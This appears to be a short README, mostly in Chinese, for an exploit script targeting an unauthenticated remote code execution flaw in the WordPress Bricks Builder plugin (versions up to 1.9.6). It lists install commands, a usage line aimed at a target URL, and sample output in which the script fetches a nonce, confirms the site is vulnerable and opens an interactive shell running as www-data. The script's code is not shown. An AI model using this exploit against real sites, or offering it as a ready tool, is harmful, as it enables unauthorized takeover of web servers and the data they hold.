WordPress Bricks Builder <= 1.9.6 中的未认证远程代码执行漏洞。模板渲染端点无需认证即可接受 PHP 代码,允许以 Web 服务器用户身份执行任意命令。
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET
示例:
$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)